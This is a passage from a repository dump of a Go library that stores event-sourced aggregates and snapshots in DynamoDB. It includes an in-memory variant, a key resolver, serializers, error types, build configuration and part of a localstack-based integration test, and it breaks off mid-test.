361 | // 362 | // # Parameters 363 | // - event is an event to store. 364 | // - seqNr is a seqNr of the event. 365 | // - version is a version of the aggregate. 366 | // - aggregate is an aggregate to store. 367 | // - Required when event is created, otherwise you can choose whether or not to save a snapshot. 368 | // 369 | // # Returns 370 | // - an UpdateInput 371 | // - an error 372 | func (es *EventStoreOnDynamoDB) updateSnapshot(event Event, seqNr uint64, version uint64, aggregate Aggregate) (*types.Update, error) { 373 | if event == nil { 374 | return nil, errors.New("event is nil") 375 | } 376 | pkey := es.keyResolver.ResolvePkey(event.GetAggregateId(), es.shardCount) 377 | skey := es.keyResolver.ResolveSkey(event.GetAggregateId(), seqNr) 378 | update := types.Update{ 379 | TableName: aws.String(es.snapshotTableName), 380 | UpdateExpression: aws.String("SET #version=:after_version"), 381 | Key: map[string]types.AttributeValue{ 382 | "pkey": &types.AttributeValueMemberS{Value: pkey}, 383 | "skey": &types.AttributeValueMemberS{Value: skey}, 384 | }, 385 | ExpressionAttributeNames: map[string]string{ 386 | "#version": "version", 387 | }, 388 | ExpressionAttributeValues: map[string]types.AttributeValue{ 389 | ":before_version": &types.AttributeValueMemberN{Value: strconv.FormatUint(version, 10)}, 390 | ":after_version": &types.AttributeValueMemberN{Value: strconv.FormatUint(version+1, 10)}, 391 | }, 392 | ConditionExpression: aws.String("#version=:before_version"), 393 | } 394 | if aggregate != nil { 395 | payload, err := es.snapshotSerializer.Serialize(aggregate) 396 | if err != nil { 397 | return nil, err 398 | } 399 | update.UpdateExpression = aws.String("SET #payload=:payload, #seq_nr=:seq_nr, #version=:after_version") 400 | update.ExpressionAttributeNames["#seq_nr"] = "seq_nr" 401 | update.ExpressionAttributeNames["#payload"] = "payload" 402 | update.ExpressionAttributeValues[":seq_nr"] = &types.AttributeValueMemberN{Value: strconv.FormatUint(seqNr, 10)} 403 | update.ExpressionAttributeValues[":payload"] = &types.AttributeValueMemberB{Value: payload} 404 | } 405 | return &update, nil 406 | } 407 | 408 | // putJournal returns a PutInput for journal. 409 | // 410 | // # Parameters 411 | // - event is an event to store. 412 | // 413 | // # Returns 414 | // - a PutInput 415 | // - an error 416 | func (es *EventStoreOnDynamoDB) putJournal(event Event) (*types.Put, error) { 417 | if event == nil { 418 | return nil, errors.New("event is nil") 419 | } 420 | pkey := es.keyResolver.ResolvePkey(event.GetAggregateId(), es.shardCount) 421 | skey := es.keyResolver.ResolveSkey(event.GetAggregateId(), event.GetSeqNr()) 422 | payload, err := es.eventSerializer.Serialize(event) 423 | if err != nil { 424 | return nil, err 425 | } 426 | input := types.Put{ 427 | TableName: aws.String(es.journalTableName), 428 | Item: map[string]types.AttributeValue{ 429 | "pkey": &types.AttributeValueMemberS{Value: pkey}, 430 | "skey": &types.AttributeValueMemberS{Value: skey}, 431 | "aid": &types.AttributeValueMemberS{Value: event.GetAggregateId().AsString()}, 432 | "seq_nr": &types.AttributeValueMemberN{Value: strconv.FormatUint(event.GetSeqNr(), 10)}, 433 | "payload": &types.AttributeValueMemberB{Value: payload}, 434 | "occurred_at": &types.AttributeValueMemberN{Value: strconv.FormatUint(event.GetOccurredAt(), 10)}, 435 | }, 436 | ConditionExpression: aws.String("attribute_not_exists(pkey) AND attribute_not_exists(skey)"), 437 | } 438 | return &input, nil 439 | } 440 | 441 | // tryPurgeExcessSnapshots tries to purge excess snapshots. 442 | // 443 | // # Parameters 444 | // - event is an event to store. 445 | // # Returns 446 | // - an error 447 | func (es *EventStoreOnDynamoDB) tryPurgeExcessSnapshots(event Event) error { 448 | if es.keepSnapshot && es.keepSnapshotCount > 0 { 449 | if es.deleteTtl < math.MaxInt64 { 450 | if err := es.updateTtlOfExcessSnapshots(event.GetAggregateId()); err != nil { 451 | return err 452 | } 453 | } else { 454 | if err := es.deleteExcessSnapshots(event.GetAggregateId()); err != nil { 455 | return err 456 | } 457 | } 458 | } 459 | return nil 460 | } 461 | 462 | // updateEventAndSnapshotOpt updates the event and the snapshot. 463 | // 464 | // # Parameters 465 | // - event is an event to store. 466 | // - version is a version of the aggregate. 467 | // - aggregate is an aggregate to store. 468 | // # Returns 469 | // - an error 470 | func (es *EventStoreOnDynamoDB) updateEventAndSnapshotOpt(event Event, version uint64, aggregate Aggregate) error { 471 | if event == nil { 472 | panic("event is nil") 473 | } 474 | putJournal, err := es.putJournal(event) 475 | if err != nil { 476 | return err 477 | } 478 | updateSnapshot, err := es.updateSnapshot(event, 0, version, aggregate) 479 | if err != nil { 480 | return err 481 | } 482 | transactItems := []types.TransactWriteItem{ 483 | {Update: updateSnapshot}, 484 | {Put: putJournal}, 485 | } 486 | if es.keepSnapshot && aggregate != nil { 487 | putSnapshot2, err := es.putSnapshot(event, aggregate.GetSeqNr(), aggregate) 488 | if err != nil { 489 | return err 490 | } 491 | transactItems = append(transactItems, types.TransactWriteItem{Put: putSnapshot2}) 492 | } 493 | request := &dynamodb.TransactWriteItemsInput{ 494 | TransactItems: transactItems, 495 | } 496 | _, err = es.client.TransactWriteItems(context.Background(), request) 497 | if err != nil { 498 | var t *types.TransactionCanceledException 499 | switch { 500 | case errors.As(err, &t): 501 | for _, reason := range t.CancellationReasons { 502 | if reason.Code != nil && *reason.Code == "ConditionalCheckFailed" { 503 | return NewOptimisticLockError("Transaction write was canceled due to conditional check failure", err) 504 | } 505 | } 506 | return NewIOError("Failed to transact write items due to non-conditional check failure", err) 507 | default: 508 | return NewIOError("Failed to transact write items", err) 509 | } 510 | } 511 | return nil 512 | } 513 | 514 | // createEventAndSnapshot creates the event and the snapshot. 515 | // 516 | // # Parameters 517 | // - event is an event to store. 518 | // - aggregate is an aggregate to store. 519 | // # Returns 520 | // - an error 521 | func (es *EventStoreOnDynamoDB) createEventAndSnapshot(event Event, aggregate Aggregate) error { 522 | if event == nil { 523 | return errors.New("event is nil") 524 | } 525 | putJournal, err := es.putJournal(event) 526 | if err != nil { 527 | return err 528 | } 529 | putSnapshot, err := es.putSnapshot(event, 0, aggregate) 530 | if err != nil { 531 | return err 532 | } 533 | transactItems := []types.TransactWriteItem{ 534 | {Put: putSnapshot}, 535 | {Put: putJournal}, 536 | } 537 | 538 | if es.keepSnapshot { 539 | putSnapshot2, err := es.putSnapshot(event, aggregate.GetSeqNr(), aggregate) 540 | if err != nil { 541 | return err 542 | } 543 | transactItems = append(transactItems, types.TransactWriteItem{Put: putSnapshot2}) 544 | } 545 | request := &dynamodb.TransactWriteItemsInput{TransactItems: transactItems} 546 | if _, err = es.client.TransactWriteItems(context.TODO(), request); err != nil { 547 | var t *types.TransactionCanceledException 548 | switch { 549 | case errors.As(err, &t): 550 | for _, reason := range t.CancellationReasons { 551 | if reason.Code != nil && *reason.Code == "ConditionalCheckFailed" { 552 | return NewOptimisticLockError("Transaction write was canceled due to conditional check failure", err) 553 | } 554 | } 555 | return NewIOError("Failed to transact write items due to non-conditional check failure", err) 556 | default: 557 | return NewIOError("Failed to transact write items", err) 558 | } 559 | } 560 | return nil 561 | } 562 | 563 | // deleteExcessSnapshots deletes excess snapshots. 564 | // 565 | // # Parameters 566 | // - aggregateId is an aggregateId to delete. 567 | // # Returns 568 | // - an error 569 | func (es *EventStoreOnDynamoDB) deleteExcessSnapshots(aggregateId AggregateId) error { 570 | if aggregateId == nil { 571 | return errors.New("aggregateId is nil") 572 | } 573 | if es.keepSnapshot && es.keepSnapshotCount > 0 { 574 | snapshotCount, err := es.getSnapshotCount(aggregateId) 575 | if err != nil { 576 | return err 577 | } 578 | snapshotCount -= 1 579 | excessCount := uint32(snapshotCount) - es.keepSnapshotCount 580 | if excessCount > 0 { 581 | keys, err := es.getLastSnapshotKeys(aggregateId, int32(excessCount)) 582 | if err != nil { 583 | return err 584 | } 585 | var requests []types.WriteRequest 586 | for _, key := range keys { 587 | request := types.WriteRequest{ 588 | DeleteRequest: &types.DeleteRequest{ 589 | Key: map[string]types.AttributeValue{ 590 | "pkey": &types.AttributeValueMemberS{Value: key.pkey}, 591 | "skey": &types.AttributeValueMemberS{Value: key.skey}, 592 | }, 593 | }, 594 | } 595 | requests = append(requests, request) 596 | } 597 | request := &dynamodb.BatchWriteItemInput{RequestItems: map[string][]types.WriteRequest{es.snapshotTableName: requests}} 598 | if _, err = es.client.BatchWriteItem(context.Background(), request); err != nil { 599 | return NewIOError("Failed to deleteExcessSnapshots updateItem", err) 600 | } 601 | } 602 | } 603 | return nil 604 | } 605 | 606 | // updateTtlOfExcessSnapshots updates the ttl of excess snapshots. 607 | // 608 | // # Parameters 609 | // - aggregateId is an aggregateId to update. 610 | // # Returns 611 | // - an error 612 | func (es *EventStoreOnDynamoDB) updateTtlOfExcessSnapshots(aggregateId AggregateId) error { 613 | if aggregateId == nil { 614 | return errors.New("aggregateId is nil") 615 | } 616 | if es.keepSnapshot && es.keepSnapshotCount > 0 { 617 | snapshotCount, err := es.getSnapshotCount(aggregateId) 618 | if err != nil { 619 | return err 620 | } 621 | snapshotCount -= 1 622 | excessCount := uint32(snapshotCount) - es.keepSnapshotCount 623 | if excessCount > 0 { 624 | keys, err := es.getLastSnapshotKeys(aggregateId, int32(excessCount)) 625 | if err != nil { 626 | return err 627 | } 628 | ttl := time.Now().Add(es.deleteTtl).Unix() 629 | for _, key := range keys { 630 | request := &dynamodb.UpdateItemInput{ 631 | TableName: aws.String(es.snapshotTableName), 632 | Key: map[string]types.AttributeValue{ 633 | "pkey": &types.AttributeValueMemberS{Value: key.pkey}, 634 | "skey": &types.AttributeValueMemberS{Value: key.skey}, 635 | }, 636 | UpdateExpression: aws.String("SET #ttl=:ttl"), 637 | ExpressionAttributeNames: map[string]string{ 638 | "#ttl": "ttl", 639 | }, 640 | ExpressionAttributeValues: map[string]types.AttributeValue{ 641 | ":ttl": &types.AttributeValueMemberN{Value: strconv.FormatInt(ttl, 10)}, 642 | }, 643 | } 644 | if _, err := es.client.UpdateItem(context.Background(), request); err != nil { 645 | return NewIOError("Failed to updateTtlOfExcessSnapshots updateItem", err) 646 | } 647 | } 648 | } 649 | } 650 | return nil 651 | } 652 | 653 | // getSnapshotCount returns a snapshot count. 654 | // 655 | // # Parameters 656 | // - aggregateId is an aggregateId to get. 657 | // # Returns 658 | // - a snapshot count 659 | // - an error 660 | func (es *EventStoreOnDynamoDB) getSnapshotCount(aggregateId AggregateId) (int32, error) { 661 | if aggregateId == nil { 662 | return 0, errors.New("aggregateId is nil") 663 | } 664 | request := &dynamodb.QueryInput{ 665 | TableName: aws.String(es.snapshotTableName), 666 | IndexName: aws.String(es.snapshotAidIndexName), 667 | KeyConditionExpression: aws.String("#aid = :aid"), 668 | ExpressionAttributeNames: map[string]string{ 669 | "#aid": "aid", 670 | }, 671 | ExpressionAttributeValues: map[string]types.AttributeValue{ 672 | ":aid": &types.AttributeValueMemberS{Value: aggregateId.AsString()}, 673 | }, 674 | Select: types.SelectCount, 675 | } 676 | response, err := es.client.Query(context.Background(), request) 677 | if err != nil { 678 | return 0, NewIOError("Failed to getSnapshotCount query", err) 679 | } 680 | return response.Count, nil 681 | } 682 | 683 | type pkeyAndSkey struct { 684 | pkey string 685 | skey string 686 | } 687 | 688 | // getLastSnapshotKeys returns the last snapshot keys. 689 | // 690 | // # Parameters 691 | // - aggregateId is an aggregateId to get. 692 | // - limit is a limit of the number of keys to get. 693 | // # Returns 694 | // - a list of keys 695 | // - an error 696 | func (es *EventStoreOnDynamoDB) getLastSnapshotKeys(aggregateId AggregateId, limit int32) ([]pkeyAndSkey, error) { 697 | if aggregateId == nil { 698 | return nil, errors.New("aggregateId is nil") 699 | } 700 | request := &dynamodb.QueryInput{ 701 | TableName: aws.String(es.snapshotTableName), 702 | IndexName: aws.String(es.snapshotAidIndexName), 703 | KeyConditionExpression: aws.String("#aid = :aid AND #seq_nr > :seq_nr"), 704 | ExpressionAttributeNames: map[string]string{ 705 | "#aid": "aid", 706 | "#seq_nr": "seq_nr", 707 | }, 708 | ExpressionAttributeValues: map[string]types.AttributeValue{ 709 | ":aid": &types.AttributeValueMemberS{Value: aggregateId.AsString()}, 710 | ":seq_nr": &types.AttributeValueMemberN{Value: "0"}, 711 | }, 712 | ScanIndexForward: aws.Bool(false), 713 | Limit: aws.Int32(limit), 714 | } 715 | if es.deleteTtl < math.MaxInt64 { 716 | request.FilterExpression = aws.String("#ttl = :ttl") 717 | request.ExpressionAttributeNames["#ttl"] = "ttl" 718 | request.ExpressionAttributeValues[":ttl"] = &types.AttributeValueMemberN{Value: "0"} 719 | } 720 | response, err := es.client.Query(context.Background(), request) 721 | if err != nil { 722 | return nil, NewIOError("Failed to getLastSnapshotKeys query", err) 723 | } 724 | var pkeySkeys []pkeyAndSkey 725 | for _, item := range response.Items { 726 | pkey := item["pkey"].(*types.AttributeValueMemberS).Value 727 | skey := item["skey"].(*types.AttributeValueMemberS).Value 728 | pkeySkey := pkeyAndSkey{ 729 | pkey: pkey, 730 | skey: skey, 731 | } 732 | pkeySkeys = append(pkeySkeys, pkeySkey) 733 | } 734 | return pkeySkeys, nil 735 | } 736 | -------------------------------------------------------------------------------- /pkg/event_store_on_memory.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | const initialVersion = uint64(1) 4 | 5 | // EventStoreOnMemory is the memory implementation of EventStore. 6 | type EventStoreOnMemory struct { 7 | events map[string][]Event 8 | snapshots map[string]Aggregate 9 | } 10 | 11 | // NewEventStoreOnMemory is the constructor of EventStoreOnMemory. 12 | // 13 | // The returned value is the pointer to EventStoreOnMemory. 14 | func NewEventStoreOnMemory() *EventStoreOnMemory { 15 | return &EventStoreOnMemory{events: make(map[string][]Event), snapshots: make(map[string]Aggregate)} 16 | } 17 | 18 | func (es *EventStoreOnMemory) GetLatestSnapshotById(aggregateId AggregateId) (*AggregateResult, error) { 19 | snapshot := es.snapshots[aggregateId.AsString()] 20 | if snapshot != nil { 21 | return &AggregateResult{aggregate: snapshot}, nil 22 | } 23 | return &AggregateResult{}, nil 24 | } 25 | 26 | func (es *EventStoreOnMemory) GetEventsByIdSinceSeqNr(aggregateId AggregateId, seqNr uint64) ([]Event, error) { 27 | result := make([]Event, 0) 28 | for _, event := range es.events[aggregateId.AsString()] { 29 | if event.GetSeqNr() >= seqNr { 30 | result = append(result, event) 31 | } 32 | } 33 | return result, nil 34 | } 35 | 36 | func (es *EventStoreOnMemory) PersistEvent(event Event, version uint64) error { 37 | if event.IsCreated() { 38 | panic("event is created") 39 | } 40 | aggregateId := event.GetAggregateId().AsString() 41 | if es.snapshots[aggregateId].GetVersion() != version { 42 | return NewOptimisticLockError("Transaction write was canceled due to conditional check failure", nil) 43 | } 44 | newVersion := es.snapshots[aggregateId].GetVersion() + 1 45 | es.events[aggregateId] = append(es.events[aggregateId], event) 46 | snapshot := es.snapshots[aggregateId] 47 | snapshot = snapshot.WithVersion(newVersion) 48 | es.snapshots[aggregateId] = snapshot 49 | return nil 50 | } 51 | 52 | func (es *EventStoreOnMemory) PersistEventAndSnapshot(event Event, aggregate Aggregate) error { 53 | aggregateId := event.GetAggregateId().AsString() 54 | newVersion := initialVersion 55 | if !event.IsCreated() { 56 | version := es.snapshots[aggregateId].GetVersion() 57 | if version != aggregate.GetVersion() { 58 | return NewOptimisticLockError("Transaction write was canceled due to conditional check failure", nil) 59 | } 60 | newVersion = es.snapshots[aggregateId].GetVersion() + 1 61 | } 62 | es.events[aggregateId] = append(es.events[aggregateId], event) 63 | es.snapshots[aggregateId] = aggregate.WithVersion(newVersion) 64 | return nil 65 | } 66 | -------------------------------------------------------------------------------- /pkg/key_resolver.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | import ( 4 | "fmt" 5 | "hash/fnv" 6 | ) 7 | 8 | type KeyResolver interface { 9 | ResolvePkey(aggregateId AggregateId, shardCount uint64) string 10 | ResolveSkey(aggregateId AggregateId, seqNr uint64) string 11 | } 12 | 13 | type DefaultKeyResolver struct { 14 | } 15 | 16 | func (kr *DefaultKeyResolver) ResolvePkey(aggregateId AggregateId, shardCount uint64) string { 17 | idTypeName := aggregateId.GetTypeName() 18 | value := aggregateId.GetValue() 19 | h := fnv.New64a() 20 | _, err := h.Write([]byte(value)) 21 | if err != nil { 22 | panic(err) 23 | } 24 | hashValue := h.Sum64() 25 | remainder := hashValue % shardCount 26 | return fmt.Sprintf("%s-%d", idTypeName, remainder) 27 | } 28 | 29 | func (kr *DefaultKeyResolver) ResolveSkey(aggregateId AggregateId, seqNr uint64) string { 30 | idTypeName := aggregateId.GetTypeName() 31 | value := aggregateId.GetValue() 32 | return fmt.Sprintf("%s-%s-%d", idTypeName, value, seqNr) 33 | } 34 | -------------------------------------------------------------------------------- /pkg/serializer.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | import "encoding/json" 4 | 5 | type DefaultEventSerializer struct{} 6 | 7 | func (s *DefaultEventSerializer) Serialize(event Event) ([]byte, error) { 8 | result, err := json.Marshal(event) 9 | if err != nil { 10 | return nil, &SerializationError{EventStoreBaseError{"Failed to serialize the event", err}} 11 | } 12 | return result, nil 13 | } 14 | 15 | func (s *DefaultEventSerializer) Deserialize(data []byte, eventMap *map[string]interface{}) error { 16 | err := json.Unmarshal(data, eventMap) 17 | if err != nil { 18 | return &DeserializationError{EventStoreBaseError{"Failed to deserialize the event", err}} 19 | } 20 | return nil 21 | } 22 | 23 | type DefaultSnapshotSerializer struct{} 24 | 25 | func (s *DefaultSnapshotSerializer) Serialize(aggregate Aggregate) ([]byte, error) { 26 | result, err := json.Marshal(aggregate) 27 | if err != nil { 28 | return nil, &SerializationError{EventStoreBaseError{"Failed to serialize the snapshot", err}} 29 | } 30 | return result, nil 31 | } 32 | 33 | func (s *DefaultSnapshotSerializer) Deserialize(data []byte, aggregateMap *map[string]interface{}) error { 34 | err := json.Unmarshal(data, aggregateMap) 35 | if err != nil { 36 | return &DeserializationError{EventStoreBaseError{"Failed to deserialize the snapshot", err}} 37 | } 38 | return nil 39 | } 40 | -------------------------------------------------------------------------------- /pkg/types.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // AggregateId is the interface that represents the aggregate id of DDD. 8 | type AggregateId interface { 9 | fmt.Stringer 10 | 11 | // GetTypeName returns the type name of the aggregate id. 12 | GetTypeName() string 13 | 14 | // GetValue returns the value of the aggregate id. 15 | GetValue() string 16 | 17 | // AsString returns the string representation of the aggregate id. 18 | // 19 | // The string representation is {TypeName}-{Value}. 20 | AsString() string 21 | } 22 | 23 | // Event is the interface that represents the domain event of DDD. 24 | type Event interface { 25 | fmt.Stringer 26 | // GetId returns the id of the event. 27 | GetId() string 28 | 29 | // GetTypeName returns the type name of the event. 30 | GetTypeName() string 31 | 32 | // GetAggregateId returns the aggregate id of the event. 33 | GetAggregateId() AggregateId 34 | 35 | // GetSeqNr returns the sequence number of the event. 36 | GetSeqNr() uint64 37 | 38 | // IsCreated returns true if the event is created. 39 | IsCreated() bool 40 | 41 | // GetOccurredAt returns the occurred at of the event. 42 | GetOccurredAt() uint64 43 | } 44 | 45 | // Aggregate is the interface that represents the aggregate of DDD. 46 | type Aggregate interface { 47 | fmt.Stringer 48 | 49 | // GetId returns the id of the aggregate. 50 | GetId() AggregateId 51 | 52 | // GetSeqNr returns the sequence number of the aggregate. 53 | GetSeqNr() uint64 54 | 55 | // GetVersion returns the version of the aggregate. 56 | GetVersion() uint64 57 | 58 | // WithVersion returns a new aggregate with the specified version. 59 | WithVersion(version uint64) Aggregate 60 | } 61 | 62 | // AggregateConverter is the function type that converts map[string]interface{} to Aggregate. 63 | type AggregateConverter func(map[string]interface{}) (Aggregate, error) 64 | 65 | // EventConverter is the function type that converts map[string]interface{} to Event. 66 | type EventConverter func(map[string]interface{}) (Event, error) 67 | 68 | // AggregateResult is the result of aggregate. 69 | type AggregateResult struct { 70 | aggregate Aggregate 71 | } 72 | 73 | // Present returns true if the aggregate is not nil. 74 | func (a *AggregateResult) Present() bool { 75 | return a.aggregate != nil 76 | } 77 | 78 | // Empty returns true if the aggregate is nil. 79 | func (a *AggregateResult) Empty() bool { 80 | return !a.Present() 81 | } 82 | 83 | // Aggregate returns the aggregate. 84 | func (a *AggregateResult) Aggregate() Aggregate { 85 | if a.Empty() { 86 | panic("aggregate is nil") 87 | } 88 | return a.aggregate 89 | } 90 | 91 | // EventSerializer is an interface that serializes and deserializes events. 92 | type EventSerializer interface { 93 | // Serialize serializes the event. 94 | Serialize(event Event) ([]byte, error) 95 | // Deserialize deserializes the event. 96 | Deserialize(data []byte, eventMap *map[string]interface{}) error 97 | } 98 | 99 | // SnapshotSerializer is an interface that serializes and deserializes snapshots. 100 | type SnapshotSerializer interface { 101 | // Serialize serializes the aggregate. 102 | Serialize(aggregate Aggregate) ([]byte, error) 103 | // Deserialize deserializes the aggregate. 104 | Deserialize(data []byte, aggregateMap *map[string]interface{}) error 105 | } 106 | 107 | // EventStoreBaseError is a base error of EventStore. 108 | type EventStoreBaseError struct { 109 | // Message is a message of the error. 110 | Message string 111 | // Cause is a cause of the error. 112 | Cause error 113 | } 114 | 115 | // Error returns the message of the error. 116 | func (e *EventStoreBaseError) Error() string { 117 | return e.Message 118 | } 119 | 120 | // OptimisticLockError is an error that occurs when the version of the aggregate does not match. 121 | type OptimisticLockError struct { 122 | EventStoreBaseError 123 | } 124 | 125 | // NewOptimisticLockError is the constructor of OptimisticLockError. 126 | func NewOptimisticLockError(message string, cause error) *OptimisticLockError { 127 | return &OptimisticLockError{EventStoreBaseError{message, cause}} 128 | } 129 | 130 | // SerializationError is the error type that occurs when serialization fails. 131 | type SerializationError struct { 132 | EventStoreBaseError 133 | } 134 | 135 | // NewSerializationError is the constructor of SerializationError. 136 | func NewSerializationError(message string, cause error) *SerializationError { 137 | return &SerializationError{EventStoreBaseError{message, cause}} 138 | } 139 | 140 | // DeserializationError is the error type that occurs when deserialization fails. 141 | type DeserializationError struct { 142 | EventStoreBaseError 143 | } 144 | 145 | // NewDeserializationError is the constructor of DeserializationError. 146 | func NewDeserializationError(message string, cause error) *DeserializationError { 147 | return &DeserializationError{EventStoreBaseError{message, cause}} 148 | } 149 | 150 | // IOError is the error type that occurs when IO fails. 151 | type IOError struct { 152 | EventStoreBaseError 153 | } 154 | 155 | // NewIOError is the constructor of IOError. 156 | func NewIOError(message string, cause error) *IOError { 157 | return &IOError{EventStoreBaseError{message, cause}} 158 | } 159 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": ["config:recommended"], 4 | "labels": ["renovate"], 5 | "commitMessagePrefix": "chore(deps):", 6 | "platformAutomerge": true, 7 | "packageRules": [ 8 | { 9 | "matchUpdateTypes": ["minor", "patch", "pin", "digest"], 10 | "automerge": true 11 | }, 12 | { 13 | "matchDepTypes": ["devDependencies"], 14 | "automerge": true 15 | } 16 | ], 17 | "prHourlyLimit": 0, 18 | "prConcurrentLimit": 5 19 | } 20 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | go install honnef.co/go/tools/cmd/staticcheck@latest 4 | -------------------------------------------------------------------------------- /test/event_store_on_dynamodb_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/vivaciousst/event-store-adapter-go/pkg" 7 | "github.com/vivaciousst/event-store-adapter-go/pkg/common" 8 | "testing" 9 | "time" 10 | 11 | "github.com/aws/aws-sdk-go-v2/service/dynamodb" 12 | "github.com/stretchr/testify/assert" 13 | "github.com/stretchr/testify/require" 14 | "github.com/testcontainers/testcontainers-go" 15 | "github.com/testcontainers/testcontainers-go/modules/localstack" 16 | ) 17 | 18 | // Creating a new EventStore instance with valid parameters should return a non-nil EventStore object. 19 | func Test_EventStoreOnDynamoDB_NewWithValidParameters(t *testing.T) { 20 | client := &dynamodb.Client{} 21 | journalTableName := "journal" 22 | snapshotTableName := "snapshot" 23 | journalAidIndexName := "journalAidIndex" 24 | snapshotAidIndexName := "snapshotAidIndex" 25 | shardCount := uint64(1) 26 | eventConverter := func(eventMap map[string]interface{}) (pkg.Event, error) { 27 | return nil, nil 28 | } 29 | snapshotConverter := func(aggregateMap map[string]interface{}) (pkg.Aggregate, error) { 30 | return nil, nil 31 | } 32 | es, err := pkg.NewEventStoreOnDynamoDB(client, journalTableName, snapshotTableName, journalAidIndexName, snapshotAidIndexName, shardCount, eventConverter, snapshotConverter) 33 | if err != nil { 34 | t.Errorf("Expected no error, but got %v", err) 35 | } 36 | if es == nil { 37 | t.Error("Expected non-nil EventStore object, but got nil") 38 | } 39 | } 40 | 41 | func Test_EventStoreOnDynamoDB_WriteAndRead(t *testing.T) { 42 | // Given 43 | ctx := context.Background() 44 | 45 | container, err := localstack.RunContainer( 46 | ctx, 47 | testcontainers.CustomizeRequest(testcontainers.GenericContainerRequest{ 48 | ContainerRequest: testcontainers.ContainerRequest{ 49 | Image: "localstack/localstack:2.1.0", 50 | Env: map[string]string{ 51 | "SERVICES": "dynamodb", 52 | "DEFAULT_REGION": "us-east-1", 53 | "EAGER_SERVICE_LOADING": "1", 54 | "DYNAMODB_SHARED_DB": "1", 55 | "DYNAMODB_IN_MEMORY": "1", 56 | }, 57 | }, 58 | }), 59 | ) 60 | assert.NotNil(t, container) 61 | require.Nil(t, err) 62 | 63 | dynamodbClient, err := common.CreateDynamoDBClient(t, ctx, container) 64 | assert.NotNil(t, dynamodbClient) 65 | require.Nil(t, err) 66 | 67 | err = common.CreateJournalTable(t, ctx, dynamodbClient, "journal", "journal-aid-index") 68 | require.Nil(t, err) 69 | 70 | err = common.CreateSnapshotTable(t, ctx, dynamodbClient, "snapshot", "snapshot-aid-index") 71 | require.Nil(t, err) 72 | 73 | // When 74 | snapshotConverter := func(m map[string]interface{}) (pkg.Aggregate, error) { 75 | idMap, ok := m["Id"].(map[string]interface{}) 76 | if !ok { 77 | return nil, fmt.Errorf("Id is not a map") 78 | } 79 | value, ok := idMap["Value"].(string) 80 | if !ok { 81 | return nil, fmt.Errorf("Value is not a float64") 82 | } 83 | userAccountId := newUserAccountId(value) 84 | result, _ := newUserAccount(userAccountId, m["Name"].(string)) 85 | return result, nil 86 | } 87 | 88 | eventConverter := func(m map[string]interface{}) (pkg.Event, error) { 89 | aggregateMap, ok := m["AggregateId"].(map[string]interface{}) 90 | if !ok { 91 | return nil, fmt.Errorf("AggregateId is not a map") 92 | } 93 | aggregateId, ok := aggregateMap["Value"].(string) 94 | if !ok { 95 | return nil, fmt.Errorf("Value is not a float64") 96 | } 97 | switch m["TypeName"].(string) { 98 | case "UserAccountCreated": 99 | userAccountId := newUserAccountId(aggregateId) 100 | return newUserAccountCreated( 101 | m["Id"].(string), 102 | &userAccountId, 103 | uint64(m["SeqNr"].(float64)), 104 | m["Name"].(string), 105 | uint64(m["OccurredAt"].(float64)), 106 | ), nil 107 | case "UserAccountNameChanged": 108 | userAccountId := newUserAccountId(aggregateId) 109 | return newUserAccountNameChanged( 110 | m["Id"].(string), 111 | &userAccountId, 112 | uint64(m["SeqNr"].(float64)), 113 | m["Name"].(string), 114 | uint64(m["OccurredAt"].(float64)), 115 | ), nil 116 | default: 117 | return nil, fmt.Errorf("unknown event type") 118 | } 119 | } 120 | 121 | eventStore, err := pkg.NewEventStoreOnDynamoDB( 122 | dynamodbClient, 123 | "journal", 124 | "snapshot", 125 | "journal-aid-index", 126 | "snapshot-aid-index", 127 | 1, 128 | eventConverter, 129 | snapshotConverter, 130 | pkg.WithKeepSnapshot(true), 131 | pkg.WithDeleteTtl(1*time.Second)) 132 | require.NotNil(t, eventStore) 133 | require.Nil(t, err) 134 | 135 | userAccountId1 := newUserAccountId("1") 136 | 137 | initial, userAccountCreated := newUserAccount(userAccountId1, "test") 138 | require.NotNil(t, initial) 139 | require.NotNil(t, userAccountCreated) 140 | t.Logf("initial: %v", initial) 141 | t.Logf("userAccountCreated: %v", userAccountCreated) 142 | 143 | err = eventStore.PersistEventAndSnapshot( 144 | userAccountCreated, 145 | initial, 146 | ) 147 | require.Nil(t, err) 148 | 149 | updated, err := initial.Rename("test2") 150 | require.NotNil(t, updated) 151 | require.Nil(t, err) 152 | t.Logf("updated: %v", updated) 153 | 154 | err = eventStore.PersistEvent( 155 | updated.Event, 156 | updated.Aggregate.Version, 157 | ) 158 | require.Nil(t, err) 159 | 160 | snapshotResult, err := eventStore.GetLatestSnapshotById(&userAccountId1) 161 | require.NotNil(t, snapshotResult) 162 | require.Nil(t, err) 163 | t.Logf("snapshotResult: %v", snapshotResult) 164 | 165 | userAccount1, ok := snapshotResult.Aggregate().(*userAccount) 166 | require.NotNil(t, userAccount1) 167 | require.NotNil(t, ok) 168 | t.Logf("UserAccount: %v", userAccount1) 169 | 170 | events, err := eventStore.GetEventsByIdSinceSeqNr(&userAccountId1, userAccount1.GetSeqNr()+1) 171 | require.NotNil(t, events) 172 | require.Nil(t, err) 173 | t.Logf("Events: %v", events) 174 | 175 | actual := replayUserAccount(events, snapshotResult.Aggregate().(*userAccount)) 176 | require.NotNil(t, actual) 177 | t.Logf("Actual: %v", actual) 178 | 179 | expect, _ := newUserAccount(userAccountId1, "test2") 180 | require.NotNil(t, expect) 181 | 182 | // Then 183 | assert.True(t, actual.Equals(expect)) 184 | 185 | defer func() { 186 | if err := container.Terminate(ctx); err != nil { 187 | t.Fatalf("failed to terminate container: %s", err.Error()) 188 | } 189 | }() 190 | } 191 | 192 | // Persists an event and a snapshot for a user account 193 | func Test_EventStoreOnDynamoDB_PersistsEventAndSnapshot(t *testing.T) { 194 | ctx := context.Background() 195 | 196 | container, err := localstack.RunContainer( 197 | ctx, 198 | testcontainers.CustomizeRequest(testcontainers.GenericContainerRequest{ 199 | ContainerRequest: 